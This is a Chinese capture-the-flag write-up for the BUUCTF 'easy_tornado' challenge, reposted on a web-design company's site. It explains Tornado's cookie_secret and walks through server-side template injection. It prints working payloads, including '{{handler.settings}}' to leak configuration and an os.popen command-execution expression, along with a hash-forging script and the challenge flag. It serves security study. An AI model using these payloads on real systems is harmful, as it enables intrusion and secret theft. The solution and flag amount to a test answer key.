苏州市网站建设_网站建设公司_小程序网站_seo优化
2025/12/23 20:25:12 网站建设 项目流程

一、题目概述

题目地址:https://buuoj.cn/challenges#[护网杯 2018]easy_tornado

本题是一道经典 Tornado 框架 + 模板注入(SSTI)+ Cookie 签名逻辑 的综合题,考察点包括:

  • Tornado 框架中 cookie_secret 的作用
  • Tornado 模板语法与 SSTI 漏洞
  • 利用 SSTI 读取服务端配置
  • 构造签名逻辑绕过校验,读取敏感文件

二、页面分析

访问题目页面后,可以看到多个 .txt 文件链接,依次点击后发现页面中给出了如下提示:

md5(cookie_secret + md5(filename))
/fllllllllllllag

image

image

这说明:

  • 服务端通过 文件名 + cookie_secret 计算 MD5
  • 只有校验通过,才能读取对应文件

很明显,这里存在一个 基于 Tornado Cookie 机制的完整性校验


三、cookie_secret 是什么?

在 Tornado 框架中,cookie_secret 是一个非常关键的安全配置,其作用主要包括:

3.1 签名与加密

当使用 set_secure_cookie() 时,Tornado 会将:

  • Cookie 值
  • 时间戳
  • HMAC 签名

一起进行编码,而这个签名的核心密钥就是 cookie_secret

3.2 完整性校验

服务端在 get_secure_cookie() 时,会使用同一个 cookie_secret 校验签名:

  • 签名不匹配 → 返回 None
  • 防止客户端篡改 Cookie 内容

3.3 安全性说明

  • Cookie 内容 对用户是可见的
  • 不能被随意修改
  • 安全性完全依赖于 cookie_secret

结论:只要拿到 cookie_secret,就能伪造合法校验值。

四、尝试常规思路:失败

一开始的思路是:

  • 抓包
  • 看是否存在可利用的 Cookie
  • 尝试暴力或逻辑绕过

但实际测试后发现:

页面中 并没有可用的 Cookie 信息

这说明,突破点不在客户端,而在 服务端配置泄露

五、转向 Tornado 模板注入(SSTI)

结合题目名称 easy_tornado,很容易联想到 Tornado 模板注入漏洞(SSTI)

5.1 什么是 Tornado SSTI

Tornado 使用 Python 风格模板语法,如果 用户输入被直接拼接进模板并渲染,就可能导致 SSTI。


5.2 危险代码示例

self.write("""
<div>{{%s}}</div>
""" % user_input)

如果 user_input 可控,就可以执行任意模板表达式。


5.3 常见攻击向量

基础测试

{{7*7}}

读取对象

{{handler.settings}}

执行代码

{{__import__('os').popen('whoami').read()}}

六、漏洞利用点定位

访问错误页面:

/error?msg={{1 * 7}}

image

尝试注入:

/error?msg={{handler.settings}}

image

成功回显 Tornado 配置信息,其中包括关键字段:

cookie_secret

至此,核心目标达成:成功获取 cookie_secret


七、构造校验值

题目给出的校验逻辑为:

md5(cookie_secret + md5(filename))

目标文件:

/fllllllllllllag

7.1 Python 计算脚本

import hashlibprefix = "deeb6004-633a-4f22-a2f4-472ceb62e935"
filename = "/fllllllllllllag"# filename 先 MD5
first_md5 = hashlib.md5(filename.encode("utf-8")).hexdigest()# 再拼接 cookie_secret
final = hashlib.md5((prefix + first_md5).encode("utf-8")).hexdigest()print(final)

输出结果:

image

e148fd23e8f6f5e6bbd7a4ae149374a2

八、读取 Flag

将计算得到的 MD5 值作为参数提交,成功读取目标文件,得到 Flag:

image

flag{28e7236c-00c4-4672-8dd0-c3f5c99c1595}

九、总结

本题完整攻击链如下:

  1. 发现文件校验逻辑依赖 cookie_secret
  2. 常规 Cookie 攻击失败
  3. 联想到 Tornado SSTI
  4. 通过 handler.settings 泄露配置
  5. 获取 cookie_secret
  6. 构造 MD5 校验值
  7. 成功读取 Flag

这是一道非常标准、非常值得复现的 Tornado SSTI 入门题,既有框架特性,也有真实开发中常见的安全误区。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询